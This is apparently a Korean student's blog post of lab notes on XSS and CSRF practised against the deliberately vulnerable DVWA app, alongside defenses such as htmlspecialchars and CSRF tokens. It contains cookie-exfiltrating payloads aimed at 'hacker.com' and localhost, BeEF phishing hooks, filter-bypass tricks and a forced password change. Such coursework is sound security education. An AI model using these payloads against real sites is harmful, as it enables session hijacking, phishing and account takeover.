[웹보안] #03

웹보안

[2019-1]

#03

오랜만에 블로그에 글을 쓰는 것 같다.

드디어 중간고사가 끝나서...과제를 해야하기는 하지만 일단 이비전 밀린 보고서부터 처리해야겠다ㅠ

오늘 원래 어느 정도 쓰려고 했으나 세시반에 일어난 관계로..

이제 슬슬 보안 공부도 다시 시작해야하는데ㅜ 그새 까먹었다..ㅠㅠ

이번에 웹해킹에서는 XSS와 CSRF를 했다.

이번 중간고사 범위에도 포함되는 내용이라 지겹..지만..

일단 XSS는 크로스 사이트 스크립팅 공격으로, 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입하면, 다른 사용자(타겟)의 웹 브라우저에서 해당 코드가 실행되는 공격이다. 서버의 취약점을 이용해 클라이언트 쪽을 공격하는 것이며, 자바 스크립트를 이용해 세션 쿠키를 탈취할 수 있다.

자바스크립트는 웹 어플리케이션에 사용되는 언어인데, HTML이 텍스트나 이미지 등 정적인 내용을 표시한다면, 자바 스크립트는 이벤트 등의 동적인 기능을 구현할 때 쓰인다. 소스코드는 스크립트코드형식으로 생겼다.

ex) document.location='http://hacker.com/?'+document.cookie

alert(1)

alert(document.cookie)

코드에서 document는 window가 가장 큰 단위라면, 그 안에 document들이 존재한다. document는 현재 위치를 나타낸다. 그래서 document.cookie를 하면 현재 쿠키를 출력한다.

alert(1)은 알림창을 띄우는 역할을 한다.

XSS는 Reflected XSS와 Stored XSS로 나눌 수 있는데, 공격이 언제 실행되는지에 따라 분류하는 것이다. ReflectedXSS는 바로 공격을 시도하는 건데, 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 것이다. 변조된 사이트로 타겟 사용자가 접근을 하면, 변조된 스크립트 코드를 서버에 전송하고, 변조된 스크립트에 포함된 쿠키 같은 정보들이 타겟 사용자에게 전송되면, 그 내용을 공격자에게 전달하는 식이다.

dvwa에서 실습을 해보면,

tail -f /opt/lampp/logs/access_log

을 cmd에 쳐보면,

access_log는 접근 로그를 기록하는 파일인데, 웹 서버로 들어온 요청정보가 기록된다.

tail은 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력할 수 있다.

이걸 틀어놓고, dvwa에 들어가서 요리조리 돌아다니면, 그 동안 서버에 요청된 정보들이 모두 뜬다.

alert('amy!!!')를 입력했을 떄의 모습

이런 정보들은 버프스위트에서 더 자세히 확인할 수 있다.

조금 깨지는데, 웹 브라우저에서는 일부 특수문자를 URL인코딩으로 자동으로 변환한다고 한다.

그래서 메일 등으로 스크립트 코드를 넣을 때에는 URL인코딩으로 변환해야 한다.

(document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie 식으로..)

이런 방법을 통해 공격자는 피싱 사이트를 만들어서 타겟 사용자의 정보를 얻어올 수 있다.

BeEF공격은 Browser Exploit Framwork로써, 크로스 사이트 스크립팅 취약점이 존재할 시에 공격자가 세션 탈취 이외에도 다양한 공격이 수행 가능한데, XSS가 삽입 가능한 곳에 모두 스크립트를 삽입해 공격을 유도하는 사회 공학적인 방법이다.

자체적으로 제공하는 자바스크립트로 된 후킹 코드(hook.js)를 사용자가 실행하면, 그 사용자의 호스트를 대상으로 여러가지 공격을 실행해준다. (hook.js 파일은 xss취약한 곳에 삽입하면, BeEF가 컨트롤 해준다.)하는데, 기본 사용자 계정정보는 beef/beef이다.

칼리에 기본적으로 제공되며, 실행시키면 이렇게 뜬다.

저기 Hook이라고 되어있는 부분이 hook.js임..

조금 기다리면, 브라우저가 하나 뜨는데,

이렇게 생겼다.

아까 Hook:에 있는 스크립트 코드를 dvwa에 넣어보면, 잡히는데, 프록시가 켜져 있어야 한다.

그리고 dvwa(reflectedXSS)에 을 입력하면 BeEF에 뜬다.

페이스북 페이크 패널을 띄우고 싶으면, command로 가서 설정하면 된다.

그리고 다시 BeEF로 돌아가면 입력값을 알아낼 수 있다.

Stored XSS는 스크립트가 요청을 전송한 시점 직후에 바로 반응하는 것이 아니라, 웹 서버에 저장되었다가 실행되는 공격기법이다. 피싱과정이 불필요하며, 해당 페이지를 접속하는 모든 사용자가 타겟이 된다. 주로 게시판 같은 모두가 사용할 수 있는 곳에서 사용된다.

dvwa Stored XSS를 실습해보면, 내용에다가 document.location='http://127.0.0.1/cookie?'+document.cookie를 입력하면, 글을 등록하자마자 스크립트가 삽입되어 터미널로 로그를 확인 가능하다. 이후에는 터미널을 정리해야하니까 set database가서 초기화 하면 된다..

일단 입력하다보면, maxlength가 걸리므로 개발자도구에서 수정을 해주고,

해주면, log에 뜬다.

이제 마지막으로 단계를 medium으로 올려보면, php 소스가 이렇게 바뀐다.

str_replace('를 지워버리는 소스코드이다. 이를 우회하는 것은 간단하다. 그냥 대문자를 섞어 쓰거나, 인코딩을 하거나(<가 %3c이고 <가 %3e였나 그랬을것임), ript>식으로 해도 된다.

high로 올려보면, 소스코드는 이렇게 된다.

preg_replace('/<(.*)s(.*)....)식인데, 정규표현식을 활용해 스크립트 태그 자체를 막는 방법이다.

이를 우회하려면 스크립트 태그가 아닌 img나 svg onload등 다양한 태그로 우회하면 된다.

(xss cheat sheet 검색해보기)

impossible로 올리면, XSS를 대응하는 방법의 소스코드가 나오는데,

htmlspecialchars함수를 사용한다. &, ", ', <, >같은 특수문자들을 html엔티티로 변환하는 함수이다. <는 < 같은 문자로 변환하는데, 이렇게 변환된 문자열은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않는다. 따라서 XSS를 대응할 수 있고, 대부분 언어에서 이 기능의 내장함수를 제공하고 있다.

CSRF는 Cross Site Request Forgery로, 공격자가 피싱을 이용해 타겟 사용자에게 악성 링크를 누르게 하고, 이를 누르면, 타겟 사용자 모르게 로그인 될 때에만 제공되는 기능들을 실행하는 것이다. 따라서 꼭 피싱을 당하는 시점에 로그인 되어 있어야 하고, 주로 패스워드를 바꾸는 등의 기능을 실행한다.

dvwa로 실습을 해보면, 버프스위트로 user_token의 값을 볼 수 있는데, 이 패킷?을 하이라이트 해놓고, (오른쪽 마우스)

http://github.com/secuacademy/webhacking 에 있는 소스코드를 unzip해서 cp csrf.html /opt/lampp/htdocs(외부 접근 가능 디렉토리)로 옮긴다.

일단 csrf.html소스코드를 보면 변경되는 pwd는 hacker이다.

그리고 /localhost/csrf.html 으로 들어가서(피싱사이트 형태)

이제 버프스위트에서 확인해보면, 아까 하이라이트 해 놓았던 두 패킷?을 compare할 수 있고, origin header(접근 제어 관련 헤더)와, referer header(해당 요청 링크하고 있는 이전 웹 페이지 주소 알려주는 헤더)가 차이가 난다.

이제 csrf level을 medium로 올리면 소스 코드에 eregi(pattern, string)이 포함된다.

eregi 함수는 http refere에 server_name이 포함되어 있는지 확인하는 것이다. 따라서 웹 메일이나 타 사이트에서 피싱을 당해 전송되는 요청을 실행하지 않는다.

이를 우회하려면 csrf 공격이 해커 사이트가 아닌 웹 서버 자체에서 실행되게 할 수 있고, 단순 서버 주소만 포함되면 되므로 파일 이름에 서버 주소를 넣어버릴 수도 있다.

우리 파일이름이 csrf.html이니까 이를 csrf_localhost.html으로 변경하는 식으로 해보면 된다.

high단계에서는 csrf 토큰을 이용하는데, 웹 어플리 케이션이 csrf 토큰을 매 응답마다 랜덤하게 생성해 히든 폼 필드를 통해 클라이언트에게 보내는 것이다.

클라이언트는 이전 응답 메시지에 포함된 토큰 값을 다음 요청시에 포함하여 전송하고 이를 검산하는데,

이렇게 버프스위트에서 요청마다 토큰 값(user_token)이 바뀌는 것을 확인할 수 있다.

이를 우회하기 위해서는 아까 깃헙에서 다운받은 자료 중에 cp csrfhigh.js /opt/lampp/htdocs...(앞과같음)를 해서 user_token을 알아내기 위한 요청을 보내고,

security level을 다시 low로 변경해 xss로 가서 요청을 보낸다.

다시 security level을 high로 올리고,

XSS로 들어가면, 자동으로 csrfhigh.js를 실행할 것이므로, token을 보여준다.

다시 들어가면, 토큰이 항상 바뀌는 것을 볼 수 있음.

버프스위트에서 확인해도 토큰이 보임. hacker로 pw 바뀐 것도 확인할 수 있다.

로그아웃하고 다시 로그인하면, hacker가 아니면 failed가 뜨는 것을 볼 수 있다.

csrf 대응하기 위해서는(impossible) 기존 패스워드를 다시 한 번 입력 받아서 사용자 본인이 직접 기능을 실행하는지 확인하거나, captcha를 이용하면 된다.

from http://moonnightfiction.tistory.com/59 by ccl(S) rewrite - 2020-03-07 14:54:40